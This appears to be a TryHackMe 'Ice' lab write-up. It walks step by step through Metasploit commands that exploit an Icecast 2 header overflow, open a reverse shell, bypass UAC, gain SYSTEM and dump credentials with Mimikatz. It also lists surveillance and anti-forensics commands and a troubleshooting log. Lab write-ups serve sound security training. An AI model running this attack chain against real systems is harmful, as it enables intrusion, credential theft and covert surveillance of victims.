

TryHackMe — Ice Room

Penetration Test Recap & Command Reference

Target Information

Field	Value
Target IP	10.81.141.126 / 10.81.159.86 (after reset)
OS	Windows 7 (6.1 Build 7601, Service Pack 1)
Hostname	DARK-PC
Architecture	x64
Vulnerable Service	Icecast 2 (Port 8000)
Attacker IP (tun0)	192.168.234.216

Phase 1 — Reconnaissance

Initial nmap scan to discover open ports and services:

```
sudo nmap -sS -sV -sC -Pn --top-ports 1000 -T4 10.81.141.126
```

Key findings from nmap:

Port	Service	Significance
3389	ms-wbt-server (RDP)	Remote Desktop — useful post-exploitation
8000	Icecast 2	Vulnerable media server — attack vector
445	Microsoft-DS (SMB)	File sharing
135	MSRPC	Windows RPC

Note: -Pn flag was required as the host blocked ping probes. Full -p- scan was attempted but timed out over VPN; --top-ports 1000 was sufficient.

Phase 2 — Initial Access (Icecast Exploit)

Icecast 2 is vulnerable to a header overflow (CVE-2004-0362, CVSS 7.5). Exploited using Metasploit module exploit/windows/http/icecast_header.

Launch Metasploit and run the exploit:

```
msfconsole use exploit/windows/http/icecast_header set RHOSTS 10.81.159.86 set LHOST 192.168.234.216 exploit
```

Immediately migrate to a stable process:

```
migrate -N explorer.exe
```

Migration to explorer.exe stabilises the session. Icecast2.exe (x86) is unstable and will crash. explorer.exe runs as the Dark user and is persistent.

Phase 3 — Privilege Escalation

Step 1 — Background session and run local exploit suggerter:

```
background run post/multi/recon/local_exploit_suggester
```

Step 2 — Use bypassuac_eventvwr to bypass UAC:

```
use exploit/windows/local/bypassuac_eventvwr set session 1 set LHOST 192.168.234.216 set target 1 set payload windows/x64/meterpreter/reverse_tcp exploit
```

Step 3 — In the new elevated session, get SYSTEM:

```
getsystem migrate -N winlogon.exe
```

Verify SYSTEM access:

```
getuid # Result: Server username: NT AUTHORITY\SYSTEM
```

Key privilege obtained: SeTakeOwnershipPrivilege — allows taking ownership of any file on the system.

Phase 4 — Looting (Credential Dumping)

Load Kiwi (Mimikatz) and dump all credentials:

```
load kiwi creds_all
```

Credentials recovered:

Username	Domain	Password
Dark	Dark-PC	Password01!

Post-Exploitation Command Reference

Command	Description
hashdump	Dump all password hashes from SAM database
screenshare	Watch victim desktop in real time
record_mic	Record audio from victim microphone
timestomp	Modify file timestamps to confuse forensics
golden_ticket_create	Create Kerberos golden ticket for persistence
run post/windows/manage/enable_rdp	Enable RDP for remote desktop access

Incident Report — Problems Encountered & Resolutions

Problem 1: nmap Full Port Scan Timeout

Problem: The initial full port scan (nmap -p-) was run over VPN and timed out after 28+ minutes with retransmission cap warnings. The scan never completed.

Resolution: Switched to --top-ports 1000 which completed in ~2 minutes and identified all relevant ports including 8000 (Icecast) and 3389 (RDP). For lab environments, top-1000 is almost always sufficient.

Problem 2: Meterpreter Session Timeout (15 seconds)

Problem: Every Meterpreter session was dropping commands with 'Send timed out. Timeout currently 15 seconds'. Commands like getsystem, getuid, and getprivs were all timing out before completing. Multiple sessions were created and died rapidly.

Resolution: Used 'sessions -i [id] -t 300' to connect with a 300-second timeout, and 'setg SessionCommunicationTimeout 300' to set it globally. Also used 'set_timeouts -c 300' inside sessions. The root cause was VPN latency combined with the default 15s timeout.

Problem 3: Exploit Architecture Mismatch

Problem: bypassuac_eventvwr failed with 'Session and Target arch must match'. The Icecast process (Icecast2.exe) is x86, but after migrating to explorer.exe the session became x64, causing the default x86 target/payload to fail.

Resolution: After migrating to explorer.exe (x64), set target 1 (Windows x64) and payload windows/x64/meterpreter/reverse_tcp to match the session architecture. Always check session architecture with 'sysinfo' before running local exploits.

Problem 4: getsystem Failing After bypassuac

Problem: getsystem returned 'Operation failed: 1726' and tried all Named Pipe Impersonation techniques without success. This happened repeatedly across multiple sessions.

Resolution: The issue was running getsystem in the wrong session (low-privilege Icecast session instead of the elevated bypassuac session). Once correctly interacting with the bypassuac session using 'sessions -i [id] -t 300' and running getsystem immediately, technique 1 (Named Pipe Impersonation In Memory/Admin) succeeded.

Problem 5: Migration to SYSTEM Processes Failing

Problem: Attempts to migrate to spoolsv.exe, lsass.exe, and services.exe all failed with 'Cannot migrate into this process (insufficient privileges)', even after getsystem.

Resolution: Migrated to winlogon.exe instead, which accepted the migration and remained stable for loading kiwi. The lesson: not all SYSTEM processes accept migration even when running as SYSTEM — winlogon.exe and lsass.exe are generally the most reliable.

Problem 6: Machine Exhaustion / Too Many Dead Sessions

Problem: After many failed attempts, the target machine became unresponsive with dozens of dead sessions and failed exploit attempts. The machine stopped responding reliably.

Resolution: Reset/terminated the TryHackMe machine and started fresh with a new IP (10.81.159.86). With knowledge from previous attempts, the entire attack chain was completed cleanly in one run: Icecast -> migrate explorer.exe -> bypassuac -> getsystem -> migrate winlogon.exe -> load kiwi -> creds_all.

Key Lessons Learned

1. Always migrate out of the initial exploit process immediately — unstable processes drop sessions.
2. Check session architecture (x86/x64) before running local exploits to avoid arch mismatch errors.
3. Set session timeouts early using 'sessions -i [id] -t 300' — the default 15s is too short over VPN.
4. If a machine becomes unresponsive after many failed attempts, reset it and start clean.
5. The full attack chain for Ice: Icecast exploit -> migrate explorer.exe -> bypassuac_eventvwr -> getsystem -> migrate winlogon.exe -> load kiwi -> creds_all.